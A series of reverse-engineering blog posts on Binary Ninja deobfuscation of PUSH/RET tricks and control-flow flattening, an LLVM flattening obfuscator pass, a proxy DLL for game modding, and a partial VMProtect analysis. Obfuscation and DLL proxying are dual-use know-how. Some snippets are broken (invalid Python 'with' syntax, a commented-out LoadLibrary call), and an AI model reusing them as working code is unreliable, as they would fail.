We know two things here:

• The RET/RETN opcode in x86/x64 pops the stack and jumps to that address

• The PUSH before the return here is actually the address we're about to jump to

It's normal for a disassembler explore a function, traversing all branches, and terminate each when it gets to a RET opcode. For a decompiler/lifter it's also generally important to trust RET opcodes and turn them into return statements, and this is why it's using PUSH/RET combinations is a good obfuscation tool.

A sample app

We'll start with a simple app that we can load up into Binary Ninja, source code is here. As we can see, it picks up the initial function right through to the RET opcode and then stops, and it doesn't find the rest of the function:

This is quite confusing from the high level IL, as it looks like it's calling a syscall and returning the response. There's a var declared that isn't used either, this is kind of weird. The low level IL makes it a bit more clear what is happening here:

I initially thought that the LLIL had actually interpreted the push/pop/jump correctly, but this is actually just the notation for printing a return statement. In practice it's not being clever here, it literally just has a return statement on line 6.

What we want to do is hook the LLIL and convert this LowLevelILRet instruction into something that the higher level ILs can handle properly. We'll look into 2 potential options, but first, let's take a look at how to build a basic workflow to hook into the analysis and make our own changes.

Binary Ninja workflows for hooking LLIL

The way that we hook into the Binary Ninja lifters is by using their Workflow API. The BN team recommended that I do try this in C++ and definitely don't try this in Python. They are almost certainly correct, but I also wanted to see how the Python API works and it seems to be okay. You have been warned though.

Here be dragons

Workflows are disabled by default, and the BN team describe it as an "Early Feature Preview", so expect things to change in future versions. I'm doing this in Binary Ninja version 3.5.4526 so if you're on a different version the there's a good chance these examples might break.

Replacing fake returns with tailcalls

pwf = Workflow().clone("PopRetTailcallWorkflow")
def interpret_popret(analysis_context):
    # iterate over llil basic blocks
    updated = False
    for block in analysis_context.llil.basic_blocks:
        # check if we have push;ret
        if len(block) >= 2 and isinstance(block[-1], LowLevelILRet) and isinstance(block[-2], LowLevelILPush):
            # replace push with a tailcall
            analysis_context.llil.replace_expr(block[-1], analysis_context.llil.tailcall(block[-2].operands[0].expr_index))
            analysis_context.llil.replace_expr(block[-2], analysis_context.llil.nop())
            updated = True
    # we need to redo the ssa then
    if updated:
        analysis_context.llil.generate_ssa_form()

pwf.register_activity(Activity("extension.popretworkflow.interpretpopret", action=interpret_popret))
pwf.insert("core.function.generateMediumLevelIL", ["extension.popretworkflow.interpretpopret"])
pwf.register()

Most of this is copied from the sample python workflow and takes inspiration from c++ tailcall example. We'll go through step by step to see what it does:

pwf = Workflow().clone("PopRetTailcallWorkflow")
def interpret_popret(analysis_context):
    # ...

pwf.register_activity(Activity("extension.popretworkflow.interpretpopret", action=interpret_popret))
pwf.insert("core.function.generateMediumLevelIL", ["extension.popretworkflow.interpretpopret"])
pwf.register()

Here we create a new Workflow object called PopRetTailcallWorkflow. We register an Activity called extension.popretworkflow.interpretpopret and point it at our new interpret_popret function. Once this is set up, we need to insert it into the current workflow. We can use pwf.show_topology() to see what the base workflow looks like:

If we zoom in on the lower half we see this:

I am guessing here but I'm assuming we want our workflow to happen before the MLIL gets generated, so I've set up my workflow to be inserted just before this:

pwf.insert("core.function.generateMediumLevelIL", ["extension.popretworkflow.interpretpopret"])

Our function for the workflow is fairly straightfoward:

Iterate over very LLIL basic block

for block in analysis_context.llil.basic_blocks:

Check if the final two instructions are a PUSH followed by a RET:

if len(block) >= 2 and isinstance(block[-1], LowLevelILRet) and isinstance(block[-2], LowLevelILPush):

We want to replace this with a LLIL tailcall, which means replacing one of the instructions with this and replacing the other with a NOP (I couldn't find a way to delete existing LLIL instructions)

analysis_context.llil.replace_expr(block[-1], analysis_context.llil.tailcall(block[-2].operands[0].expr_index))
analysis_context.llil.replace_expr(block[-2], analysis_context.llil.nop())
updated = True

The nice thing with this is that we don't care if the PUSH is a constant or a register, we just take the expression index out of the PUSH instruction and put it in the tailcall and Binary Ninja does the rest for us.

Testing out the tailcall replacement

You can load this as a plugin, but you can also just paste this in the python console and it will register the workflow:

We also need to make sure workflows are turned on in settings (Edit->Preferences->Settings) and tick the checkbox for "Enable the analysis orchestration framework":

Then you need to reload your binary to kick off the framework, go to File->Open with Options, load your binary, and then choose your new workflow in the next dialog that pops up:

HLIL looks a bit different now:

It doesn't automatically create a code section for us (exercise for the reader?) but we can also just follow the jump and convert it to a function (sometimes pressing P doesn't work and you need to actually change the type with Y and then it will decompile it correctly):

And if we look at the LLIL we can see where our new instructions took place:

I have a second binary, stackops, that looks like this with the default workflow:

But the HLIL comes out like this:

If we load with our new workflow it correctly catches the indirect jump:

As with the above example, we need to then convert these addresses to functions so we can analyse from there:

Next steps

Solving this simple PUSH;RET case is a start, but this can easily be foiled by inserting junk instructions before the final RET instruction. There are some other issues too:

• The indirect jump might not be a separate function, but just an obfuscation inside an existing function. We might want to make a JMP instead of a tailcall

• If we're jumping to something that wasn't declared as code then we might want to mark it as code and kick off analysis there

• There are multiple ways of manipulating the stack before making a RET, so full stack analysis could tell us if we're actually making a fake RET or a real one

Let me know if you take this concept and extend it, this just scratches the surface and there are lots of options for taking it further.

Happy hacking everyone!

I recently did some work on removing control flattening with Binary Ninja, using a basic handcrafted sample, and the next step was to build my own obfuscator and then build the scripts to reverse it, and so on, and so on. Here's the next step in that journey.

Step 1: Making an LLVM pass

Most of the credit goes to Open Obfuscator here. You need to create a shared library that exports this function:

extern "C" __attribute__((visibility("default"))) LLVM_ATTRIBUTE_WEAK ::llvm::PassPluginLibraryInfo
llvmGetPassPluginInfo() {
  return getPassPluginInfo();
}

This getPassPluginInfo() function is going to look something like this:

PassPluginLibraryInfo getPassPluginInfo() {
  static std::atomic<bool> ONCE_FLAG(false);
  return {LLVM_PLUGIN_API_VERSION, "obfs", "0.0.1",
          [](PassBuilder &PB) {

            try {
              PB.registerPipelineEarlySimplificationEPCallback(
                [&] (ModulePassManager &MPM, OptimizationLevel opt) {
                  if (ONCE_FLAG) {
                    return true;
                  }
                MPM.addPass(obfs::ControlFlowFlattening());
                  ONCE_FLAG = true;
                  return true;
                }
              );
            } catch (const std::exception& e) {
                outs() << "Error: " << e.what() << "\n";
            }
          }};
};

There are variations of this, this one comes from Open Obfuscator and it does everything we need it to. There are variations floating around on StackOverflow saying you can use a FunctionPassManager but that doesn't work without enabling optimisations in clang (-O1 etc) whereas this does. If there's one thing I've learned about LLVM it's not to ask too many questions.

The function we jump to is going to accept an llvm::Module object, and we just need to iterate over this to get our llvm::Function objects, and then we're done with the boilerplate:

struct ControlFlowFlattening : public PassInfoMixin<ControlFlowFlattening> {
    PreservedAnalyses run(Module &M, ModuleAnalysisManager &MAM) {                     
        for (Function& F : M) {
            flattenFunction(F);
        }
        return PreservedAnalyses::none();
    }
};

Step 2: Working with LLVM Functions

The LLVM documentation is very, very extensive, and it's all open source, so you can browse the Function documentation to your heart's content. The cool thing here is we can just iterate over it and it will give us llvm::BasicBlock objects. A BasicBlock is a set of instructions that will run together, and it ends with something like a branch or a return. BasicBlocks can branch to other BasicBlocks. What we want to do is find where the BasicBlocks connect to each other, and add some logic so that the branch always gets followed, but it takes a path that isn't obvious to the decompiler. Take this code for example:

void simple_branch(int value){
  printf("Before branch\n");

  if(value > 5) {
    printf("value > 5\n");
  }
  else{
    printf("value <= 5\n");
  }

  printf("After branch\n");
}

We can compile this and print out the LLVM and see it's split into 4 BasicBlocks:

New basic block %1
 Instruction:   %2 = alloca i32, align 4
 Instruction:   store i32 %0, i32* %2, align 4
 Instruction:   %3 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([15 x i8], [15 x i8]* @.str.6, i64 0, i64 0))
 Instruction:   %4 = load i32, i32* %2, align 4
 Instruction:   %5 = icmp sgt i32 %4, 5
 Instruction:   br i1 %5, label %6, label %8
New basic block %6
 Instruction:   %7 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0))
 Instruction:   br label %10
New basic block %8
 Instruction:   %9 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([12 x i8], [12 x i8]* @.str.8, i64 0, i64 0))
 Instruction:   br label %10
New basic block %10
 Instruction:   %11 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str.9, i64 0, i64 0))
 Instruction:   ret void

Or decompile it in Binary Ninja:

Note that Binary Ninja adds an extra block; this isn't important right now so imagine we just have 4. If the code just did some calculations and some calls and returned it would only need a single BasicBlock, but once we add an if statement we need to branch... and when we branch we create new BasicBlocks to hold this code. At the end of the if and else statements they jump back to the same place, so this becomes our fourth and final BasicBlock for this function.

Step 3: Building a dispatch block

We want to route all of our logic through a single block, so that instead of a nice tree that a reverse engineer can follow, we end up with a mess of lines everywhere and make it less obvious what the shape of the function looks like. This can be anywhere we want, I've decided to put mine right at the start of the function. We'll make the first block jump to our dispatcher and then jump to the rest of the blocks directly from there.

What if the first block branches to multiple places?

We can steal the branch off the end of the first block and put it in its own block after the dispatcher. We can implement this ourselves (create new block, add branch to this, copy across branch into the bottom of the new block), but LLVM actually gives us a helper function which makes this super easy.

BasicBlock &entryBlockTail = F.getEntryBlock();
BasicBlock* pNewEntryBlock = entryBlockTail.splitBasicBlockBefore(entryBlockTail.getTerminator(), "");

Once we've split off our stub, we know the first block has an unconditional branch at the end, and we can insert our block in-between - we make save the Successor from the terminating branch, then make this branch point at our dispatcher block, and then add a branch instruction to the dispatcher, and we're all plugged in.

// Get the EntryBlock and the one after it - the Successor
BasicBlock &EntryBlock = F.getEntryBlock();
auto* br = dyn_cast<BranchInst>(EntryBlock.getTerminator());
BasicBlock *Successor = br->getSuccessor(0);

// we create DispatchBlock and plug it in at both ends
// DispatchBlock -> Successor        
BasicBlock* DispatchBlock = BasicBlock::Create(F.getContext(), "dispatch_block", &F);
IRBuilder<> DispatchBuilder(DispatchBlock, DispatchBlock->begin());
DispatchBuilder.CreateBr(Successor);

// EntryBlock -> DispatchBlock
br->setSuccessor(0, DispatchBlock);
DispatchBlock->moveAfter(&EntryBlock);

Step 4: Routing blocks via the dispatcher

There are two parts to this:

1. Setting the dispatch variable and jumping to the dispatcher

2. Checking the dispatch variable and deciding from there where to go

Setting the dispatch variable

We're often looking at conditional branches so we'll loop over each successor and do the same:

1. Create a new detour block to jump to

2. Make the detour block set the dispatch variable

3. Jump to the dispatch block

for (unsigned i = 0; i < br->getNumSuccessors(); ++i) {
    // we start with block -> successor
    BasicBlock *Successor = br->getSuccessor(i);

    // create detour block
    // DispatchVar = X
    // jmp DispatchBlock
    BasicBlock *DetourBlock = BasicBlock::Create(F.getContext(), "", &F);
    IRBuilder<> Builder(DetourBlock);
    Builder.CreateStore(ConstantInt::get(Builder.getInt32Ty(), ++dispatchVal), DispatchVar);
    Builder.CreateBr(DispatchBlock);

    // insert block after our current one
    // block -> DetourBlock
    br->setSuccessor(i, DetourBlock);
    DetourBlock->moveAfter(block);
}

Adding the branch in the dispatch block

This is a little tricky because each branch is going to look like this:

1. Load dispatch var

2. Compare dispatch var (this is a cmp or similar on x86)

3. Branch based off the result of the comparison

You may note that these are separate instructions, so we can't just insert before the last one. I did try this by mistake and the results were hilarious but also left me with a useless app. In hindsight we could just add another block in the chain, but since everything is already jumping to the dispatch block we can also use another cool LLVM helper function: SplitBlockAndInsertIfThen() . This means we end up inserting each comparison at the start of the dispatch block, but it means the code required is as simple as this:

// if (DispatchVar == dispatchVal) goto successor;
Instruction* FirstInst = DispatchBlock->getFirstNonPHI();
IRBuilder<> DispatchBuilder(FirstInst);
LoadInst* loadSwitchVar = DispatchBuilder.CreateLoad(DispatchBuilder.getInt32Ty(), DispatchVar, "dispatch_var");
auto *Cond = DispatchBuilder.CreateICmpEQ(ConstantInt::get(DispatchBuilder.getInt32Ty(), dispatchVal), loadSwitchVar);
SplitBlockAndInsertIfThen(Cond, FirstInst, false, nullptr, (DomTreeUpdater *)nullptr, nullptr, Successor);

We can probably optimise this and start the dispatch block with the dispatch variable load and always branch one instruction after the start, but this also works (and there's nothing to stop us doing an optimisation pass after this).

Step 5: Admire the results

Remember our simple code from earlier?

If we compile it with our new LLVM pass it looks like this:

This isn't terrible, but let's take a slightly bigger function:

void obfuscate_me(int number){
    printf("Checking how big the number is\n");
    int counter = 1;
    if(number < 5) {
        printf("number < 5\n");
        counter++;
    }
    else {
        printf("number >= 5\n");
        counter+= 2;
    }
    printf("Some divisors\n");
    if(number % 3) {
        printf("number %% 3\n");
        counter++;
    }
    if(number % 5) {
        printf("number %% 5\n");
        counter++;
    }
}

This would normally compile into this:

But when we flatten it we get this:

And as you can imagine, a bigger function would be even more confusing once we flatten it. We can further muddy the waters by adding MBA fake conditional branches with fake unreachable code and add that into the mix, and the function steadily becomes more difficult to work with when reversing.

Conclusion

I hope you all enjoyed this, this is a toy proof of concept project and it implements a bare minimum of cases (it will break on block terminators that aren't simple branches, for example), but you could also apply this to an app right now and it would add a thin layer of security on top. This isn't an LLVM tutorial so I'm not going to go into detail there, but feel free to use this as a base if you always wanted to play with LLVM and didn't know where to start.

Code is here: https://github.com/samrussell/obfus

Thanks again to Romain Thomas as I've leaned heavily on O-MVLL for the original idea and for tips when I've gotten stuck with the code.

Next step is obviously to extend my script from last time and see what it takes to turn this back into something readable, stay tuned or feel free to give it a try yourself.

This is a simple toy app hosted at https://github.com/samrussell/cff_playground if you feel like following along at home. The plugin isn't complete yet but I'll include all the snippets, you can copypaste them as you go through and it'll magically convert this tangled mess into a much more obvious app.

Theory (and practice?)

If you're new to handling control flow flattening then definitely take a look at Tim Blazytko's article and obfuscation detection plugin to get your head around the theory. The short version is we're looking for two things:

• Dominators are blocks that are always hit before another block. If A is always hit before B, then A dominates B. A block always dominates itself by the way.

• Loops are when we go from block A and end up back at the start of block A

• Incoming edges are the links from blocks that execute before our block - if A can jump to B then we say B has an incoming edge from A

With these concepts in mind, we are going to look for the following:

Find a block that has at least 3 incoming edges from blocks that it dominates

Or in Python (you can just paste this into the Binary Ninja Python console)

func = bv.get_function_at(here) # make sure your cursor is at the start of the function
cff_heads = []
for block in func.hlil.basic_blocks:
    dominated_edges = sum([(1 if block in x.source.dominators else 0) for x in block.incoming_edges])
    if dominated_edges >= 3:
        cff_heads.append(block)

If we do this right then cff_heads will have one block, and that is the start of our while loop. We then want to find all the blocks that are part of this. One way to do it would be to use Binary Ninja's Abstract Syntax Tree (AST) interface, but I found this is good for traversing the decompiled HLIL, it was hard to link it back to the basic blocks and the graph interface. The way I did this was to start from the top, and traverse backwards through all incoming edges that are dominated by our first block:

cffhead = cff_heads[0] # only one head in this example
blocks = set()
to_visit = [cffhead]
while len(to_visit):
    block = to_visit.pop()
    for edge in block.incoming_edges:
        candidate_block = edge.source
        if cffhead in candidate_block.dominators and candidate_block not in blocks:
            blocks.add(candidate_block)
            to_visit.append(candidate_block)

blocks = sorted(blocks)

We now have a blocks variable that contains all the blocks in our flattened function:

Find the key

One common pattern for control flow flattening has a single variable that gets set to a number that corresponds to the next piece of code to jump to. We're going to scan through all the IF statements to see if there's one variable that sticks out more than the others:

blocks_to_visit = [x for x in blocks]
conditions = set()
while len(blocks_to_visit):
    block = blocks_to_visit.pop()
    for edge in block.incoming_edges:
        condition = func.hlil[edge.source.end-1]
        if isinstance(condition, HighLevelILIf):
            conditions.add(condition)

We can eyeball this and say "yeah it's var_10, duh", and the way we do this in Python is to count the number of times each variable is referenced, and take the most popular one (the one referenced the most times):

varcounts = defaultdict(lambda: 0)
for condition in conditions:
    for var in condition.condition.vars:
        varcounts[var] += 1

varcounts = dict(varcounts)
target_var = max(varcounts.items(), key=lambda x: x[1])[0]
var_conditions = list(filter(lambda x: target_var in x.condition.vars, conditions))

The var_conditions filter isn't super necessary for this example, but for more complex examples it will be necessary to strip out any other IF statements that we aren't using.

We're going to make a wild assumption here that every single IF statement checking var_10 is part of the dispatcher, and it's true here, but it won't be true for every sample.

Pairing up

The way var_10 is used looks like this:

• Check var_10 against value1

• If equal then jump to path1

• Execute

• Set var_10 to value2...

We need to find all the values that var_10 gets set to, find out where they get set, and find out which piece of code they correspond to. Once we've done that we can convert them to direct jumps and cut out the middleman (the dispatcher) and then Binary Ninja can work its magic and give us some nice normal code.

code_lookup = {}
# look over all the IF statements
for condition in var_conditions:
    # we're only dealing with `if var_10 == 0x1234`
    if not isinstance(condition.condition, HighLevelILCmpE):
        raise Exception("Can't handle %s type %s" % (condition.condition, type(condition.condition)))
    # get the true branch
    true_branches = list(filter(lambda x: x.type == BranchType.TrueBranch, condition.il_basic_block.outgoing_edges))
    if len(true_branches) != 1:
        raise Exception("Got %d true branches on %s ?!" % (len(true_branches), condition.il_basic_block.outgoing_edges))
    true_branch = true_branches[0]
    # get the const value
    consts = list(filter(lambda x: isinstance(x, HighLevelILConst), condition.condition.operands))
    if len(consts) != 1:
        raise Exception("Got %d consts in %s" % (len(consts), condition.condition))
    code_lookup[consts[0].value] = true_branch.target

We now have a mapping for where each code points; for example 0x2342352 goes to block x86_64@0x7-0x8 . The next step is to look at where var_10 gets set and map all of these together:

block_exits = {}
for block in blocks:
    # in every block
    instructions = [func.hlil[x] for x in range(block.start, block.end)]
    # look at every instruction
    for instruction in instructions:
        if isinstance(instruction, HighLevelILAssign) and instruction.operands[0].var == target_var:
            # if var_10 is set anywhere in this block then consider this an exit block
            block_exits[instruction.operands[1].value] = block

This part of the code makes another wild assumption that var_10 only gets set in the last block before going back to the dispatcher. This is enough for now, but in more complex CFF examples we will need to look a bit deeper.

In any case now we can see for example that code 0x2342352 gets set at the end of block x86_64@0xc-0xe . We then want the end of block x86_64@0xc-0xe to jump directly to x86_64@0x7-0x8 (from earlier).

Putting it all together

I'm gonna dump a bunch of code here so you have it in one place, then we'll break it apart and I'll explain what's happening:

for code, block in block_exits.items():
    asmblock = func.get_basic_block_at(func.hlil[block.start].address)
    lastinstruction = asmblock.disassembly_text[-1]
    if lastinstruction.tokens[0].text != "jmp":
        raise Exception("Couldn't patch %s, doesn't end with jmp but %s" % (block, lastinstruction.tokens))
    address = lastinstruction.address
    length = asmblock.end - address
    print("0x%X Patch at %x, %d bytes" % (code.value, address, length))
    outblock = code_lookup[code]
    if outblock.get_disassembly_text()[0].tokens[0].text == "break":
        outblock = outblock.outgoing_edges[0].target
    outasmblock = func.get_basic_block_at(func.hlil[outblock.start].address)
    out_address = outasmblock.start
    print("Change jump to go to %x" % out_address)
    bytecode = bv.read(address, length)
    if length == 2:
        if bytecode[0] != 0xeb:
            print("Didn't recognise JMP opcode %02X, skipping" % bytecode[0])
            continue
        delta = out_address - asmblock.end
        if abs(delta) > 0x7f:
            print("Delta for short jump is 0x%02X, cannot do short jump, skipping" % abs(delta))
            continue
        if delta < 0:
            delta += 0x100
        newbytecode = struct.pack("<BB", 0xeb, delta)
    elif length == 5:
        if bytecode[0] != 0xe9:
            print("Didn't recognise JMP opcode %02X, skipping" % bytecode[0])
            continue
        delta = out_address - asmblock.end
        if delta < 0:
            delta += 0x100
            delta += 0xFFFFFF00
        newbytecode = struct.pack("<BL", 0xe9, delta)
    else:
        print("JMP length wrong %d, skipping" % length)
        continue
    print("Replacing jump %s with %s" % (bytecode.hex(), newbytecode.hex()))
    bv.write(address, newbytecode)

For starters, we'll loop over all the blocks where var_10 gets set, and make sure they end with a jmp opcode:

for code, block in block_exits.items():
    # converting between hlil and asm isn't pretty
    asmblock = func.get_basic_block_at(func.hlil[block.start].address)
    # disassembly_text gives us the disasm lines, so we want the last one
    lastinstruction = asmblock.disassembly_text[-1]
    if lastinstruction.tokens[0].text != "jmp":
        raise Exception("Couldn't patch %s, doesn't end with jmp but %s" % (block, lastinstruction.tokens))
    # block.end is the start of the next block
    # so block.end - instruction.address tells us how long the instruction is
    address = lastinstruction.address
    length = asmblock.end - address
    print("0x%X Patch at %x, %d bytes" % (code.value, address, length))

We then find the corresponding IF statement and see where that jumps to for the same code number:

    outblock = code_lookup[code]
    # break commands are weird in HLIL
    # they end up pointing at the JNE opcode so we need to skip forward
    if outblock.get_disassembly_text()[0].tokens[0].text == "break":
        # get next block
        outblock = outblock.outgoing_edges[0].target
    # as above, convert from HLIL block to asm block
    outasmblock = func.get_basic_block_at(func.hlil[outblock.start].address)
    # we jump to the start of this block so start address is easy here
    out_address = outasmblock.start
    print("Change jump to go to %x" % out_address)

This is the fun (and processor-dependent) part, writing the patch. In my example gcc has just used short and near jumps so this is all I'm handling (https://www.felixcloutier.com/x86/jmp.html if you get stuck). We read in the JMP instruction, check which sort it is, make sure we have enough bytes to rewrite the jump, and then build our own bytecode:

    bytecode = bv.read(address, length)
    # handle short jump
    if length == 2:
        if bytecode[0] != 0xeb:
            print("Didn't recognise JMP opcode %02X, skipping" % bytecode[0])
            continue
        # calculate distance
        delta = out_address - asmblock.end
        # short jump can only go 0x7f forward or 0x80 back
        if abs(delta) > 0x7f:
            print("Delta for short jump is 0x%02X, cannot do short jump, skipping" % abs(delta))
            continue
        # convert delta
        # e.g. -8 should go to 0xf8
        if delta < 0:
            delta += 0x100
        # build the new bytecode
        newbytecode = struct.pack("<BB", 0xeb, delta)

The version for the near jump is basically the same

    elif length == 5:
        if bytecode[0] != 0xe9:
            print("Didn't recognise JMP opcode %02X, skipping" % bytecode[0])
            continue
        # calculate distance
        delta = out_address - asmblock.end
        # don't need to check length it's 32 bit
        # convert delta
        if delta < 0:
            delta += 0x100
            delta += 0xFFFFFF00
        newbytecode = struct.pack("<BL", 0xe9, delta)
    else:
        print("JMP length wrong %d, skipping" % length)
        continue

And then we write our new bytecode:

    print("Replacing jump %s with %s" % (bytecode.hex(), newbytecode.hex()))
    bv.write(address, newbytecode)

And like magic, our big scary CFF state machine turns into this harmless little function:

Next steps

There are a lot of caveats here, but the main one is this:

• This is a toy app that handles the simplest CFF case

You'll have to extend it if you want to do anything more complicated and use it in the real world. I hope you enjoyed this though, and I hope you find a way to use it in your day to day reversing.

Addendum

Jordan from the Binary Ninja team made a couple of points around converting between HLIL and other representations:

• There are no guarantees the blocks line up as you'd expect.

• You can use hlil.llils to get the list of LLIL instructions that make up a HLIL instruction. These are not guaranteed to be in order, but something like min(x.address for x in func.hlil[6].llils) might be a better way to get the start address vs my approach of jumping between HLIL and disassembly blocks. This is an exercise for the reader :)

Creating the DLL skeleton

I've done this for x86, (x64 is an exercise for the reader), as the app I'm modding is an x86 app. Fortunately we're not using any inline asm (this doesn't work in x64 apps) so most of it will translate across the same.

Start a DLL project

In Visual Studio 2019 we click Create a new project and search for a DLL project, a normal one, not the MFC option:

We give it a name and then carry on. The next step is to enable ASM files to be included, which is a short process but poorly documented

Enable asm building

We'll start off by adding an .asm file. Right click on source files in the Solution Explorer, and under the Add menu click New Item

It should select C++ file by default, just ignore this and overwrite the extension in the name field to call it something else, we'll use detours.asm for this project:

Asm files are not built by default so we need to enable MASM in this project and then add our detours.asm file. Right-click on the name of the project (not the solution), and under Build Dependencies click on the Build Customizations... option

By default .masm is unchecked, so check this and click OK

Now we've added MASM to the project we need to make our .asm file build, so right click on our detours.asm and click Properties and in the dropdown by Item Type select Microsoft Macro Assembler

Note that we're doing this for all configurations and all platforms, you can easily do separate x86 and x64 files and add them to specific platforms, for example. Now we've done this, we can expect our .asm file will build.

Building from a .def file

Normally you'd use the __declspec(dllexport) keyword to annotate functions that you want to export, but that won't let you choose the ordinal. If we want to build a good proxy DLL we need to ensure that the app we're modding can import either by name or by ordinal, otherwise we might run into some unexpected results later. We add our def file (mine is called exports.def) in the same way as we added our .asm file above, and then we add it to the build in project properties:

We're all good to go, let's get some code in place!

Cloning the exports

LIEF is my go-to tool for any time I need to work with a binary. Install it via PIP, import, and then we can load the DLL export table in a couple of lines:

import lief
binary = lief.parse("/mnt/c/Program Files (x86)/Steam/steamapps/common/Reversed Dreamland/RD_Data/Plugins/steam_api.dll")
exports = [(e.name, e.ordinal) for e in binary.get_export().entries]

Note the /mnt/c because I do most of my coding from WSL but Steam is installed in the base Windows environment.

Once we've loaded the exports, we need to generate two things: export definitions, and stubs that we can populate. We can generate the def file like this:

with output = open("exports.txt", "w"):
    export_entries = ["\t%s @%d" % (x[0], x[1]) for x in exports]
    output.write("\n".join(export_entries))

And then if we want to generate some stubs we can do something similar:

with output = open("stubs.txt", "w"):
    funcs = ["%s PROC\n\tpush hOldDll\n\tpush %d\n\tcall [_imp__GetProcAddress@8]\n\tjmp eax\n%s ENDP" % (x[0], x[1], x[0]) for x in exports]
    output.write("\n".join(funcs))

We can then copy these into our files. Our exports.def file needs to start like this:

LIBRARY csteamworks_proxy
EXPORTS
    Function1 @1
    Function2 @2
    ...

We can then paste our defs underneath (the Function1 stuff is just an example by the way and should be removed). The stubs need a little bit more work, and I've done mine like this:

.386
.model flat, stdcall

.data
hOldDll DWORD 0;
pDllName BYTE "targetdll_old.dll",0
.code

EXTERN _imp__LoadLibraryA@4 : dword
EXTERN _imp__GetProcAddress@8 : dword

OPTION LANGUAGE: syscall
@init@0 PROC
    lea eax, [pDllName]
    ;push eax    
    ;call [_imp__LoadLibraryA@4]
    mov hOldDll, eax
    ret
@init@0 ENDP

Func1 PROC
    push hOldDll
    push 1
    call [_imp__GetProcAddress@8]
    jmp eax
Func1 ENDP

...

END

From here we can finally set up the dllmain.cpp that drives the whole operation:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"

extern "C" void __fastcall init(void);

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        init();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

So when we load the DLL, it will call init() the first time which will call LoadLibrary() to put the DLL in memory, and then whenever we hit a function that we've exported it will jump straight through to the real thing, leaving us with an easy place to put our own breakpoints if we like. There's also nothing to stop you changing these proxy functions to do something else, add some logging, or just plain return a fixed value instead. Just copy this into the directory where the real DLL is, rename it to targetdll_old.dll or similar, and then you have your very own customisable proxy.

I hope you find this useful, this is just one more tool that we have at our disposal when it comes to analysing and modding.

005becad      int32_t var_4 = arg4
005becb0      _bswap(not.d(arg4))
005becb5      int32_t var_8 = arg2
005becb6      void* const var_c = 0xea6bdba7
005becb7      int32_t ebx  // junk
005becb7      bool s
005becb7      bool o
005becb7      ebx.b = s != o
005becbc      int32_t eax
005becbc      int32_t var_10 = eax
005becbd      eax:1.b = 0xcf  // junk
005becc2      int32_t var_14 = arg1
005becc6      int32_t edi
005becc6      int32_t var_18 = edi
005becc7      int32_t var_1c = arg3
005becc8      int32_t ebx_1  // junk
005becc8      ebx_1.w = 0x7f28
005beccf      bool c
005beccf      bool p
005beccf      bool a
005beccf      bool z
005beccf      bool d
005beccf      int32_t var_20 = (o ? 1 : 0) << 0xb | (d ? 1 : 0) << 0xa | (s ? 1 : 0) << 7 | (z ? 1 : 0) << 6 | (a ? 1 : 0) << 4 | (p ? 1 : 0) << 2 | (c ? 1 : 0) << 0
005becd5      edi.w = 0x5e8d  // junk
005becd9      int32_t var_24 = 0
005bece3      arg3.w = arg3.w & not.w(1 << modu.w(arg2.w, 0x10))  // junk
005bece8      int32_t esi_4 = neg.d(arg5 + 1)
005becea      int32_t eflags  // junk
005becea      uint16_t temp0
005becea      temp0, eflags = _bit_scan_reverse(esi_4.w)
⋯005becf9      bool c_1 = unimplemented  {ror esi, 0x1}
005bed02      edi.w = rlc.w(edi.w, 0x2a, c_1)
005bed0e      int32_t eax_1
005bed0e      eax_1.w = 0x253c
005bed3c      int16_t eax_2
005bed3c      eax_2:1.b = ror.w(0 ^ (ror.d(esi_4 ^ 0x27e9128c, 1) + 1).w, 0x72):1.b << arg1.b
005bed54      int32_t eax_8 = rol.d(not.d((*(ror.d(esi_4 ^ 0x27e9128c, 1) - 3) ^ (ror.d(esi_4 ^ 0x27e9128c, 1) + 1)) - 0x5ca20a41) - 0x40d54c06, 2)
005bed61      int32_t var_e8 = 0x5bed29 + eax_8
005bed62      return eax_8

It's a little bit hard to follow, partially because VMProtect is well known for using a lot of junk instructions. If we clean up the ASM it looks like this:

push    esi
push    edx
push    ebx
push    eax
push    ecx
push    edi
push    ebp
pushfd
mov     eax, 0x0 // this gets relocated
push    eax
mov     esi, dword [esp+0x28] // encrypted VIP
inc     esi
neg     esi
xor     esi, 0x27e9128c
ror     esi, 0x1
inc     esi
lea     esi, [esi+eax]
mov     ebp, esp
lea     esp, [esp-0xc0]
mov     ebx, esi
mov     eax, 0x0 // this gets relocated
sub     ebx, eax
lea     edi, [0x5bed29]
lea     esi, [esi-0x4]
mov     eax, dword [esi]
xor     eax, ebx
lea     eax, [eax-0x5ca20a41]
not     eax
sub     eax, 0x40d54c06
rol     eax, 0x2
xor     ebx, eax
add     edi, eax
push    edi
retn // obfuscated jump to first VM handler

This is a little yuck for us, even once we've removed the junk instructions by hand. Effectively, it pushes all the registers and flags, decrypts the VIP that is passed as the only argument on the stack, initialises the stream cipher with this, then decrypts the first instruction handler pointer and jumps to it. If we look at the way the HLIL has been done, you can see this actually sums this up fairly well for us. If we change to SSA view we can make sure nothing is getting clobbered that we care about:

005bed54      int32_t eax_8#1 = rol.d(not.d((*(ror.d(esi_4#1 ^ 0x27e9128c, 1) - 3) @ mem#2 ^ (ror.d(esi_4#1 ^ 0x27e9128c, 1) + 1)) - 0x5ca20a41) - 0x40d54c06, 2)
005bed61      int32_t var_e8#1 = 0x5bed29 + eax_8#1
005bed62      return eax_8#1

The value of var_e8#1 is what we're most interested in as in practice we aren't returning anything, we are jumping to that location. Because we've put this in SSA view, we can be confident when we look back up the view to see this is only based on esi#1, and this is defined earlier:

int32_t esi_4#1 = neg.d(arg5#0 + 1) // arg5 is actually the only arg pushed on the stack

So if we want to find the address of the first handler, we just need to get the original encrypted VIP passed on the stack (0xd8cb8f6d in this case), and we can evaluate this equation ourself to get the first handler at 0x5babbd. Looking at the first handler in the HLIL though, we can see we need to look a little deeper to get the information we want:

005babc7      arg1#1.b = arg1#0.b & nullptr
005babcc      uint32_t eax
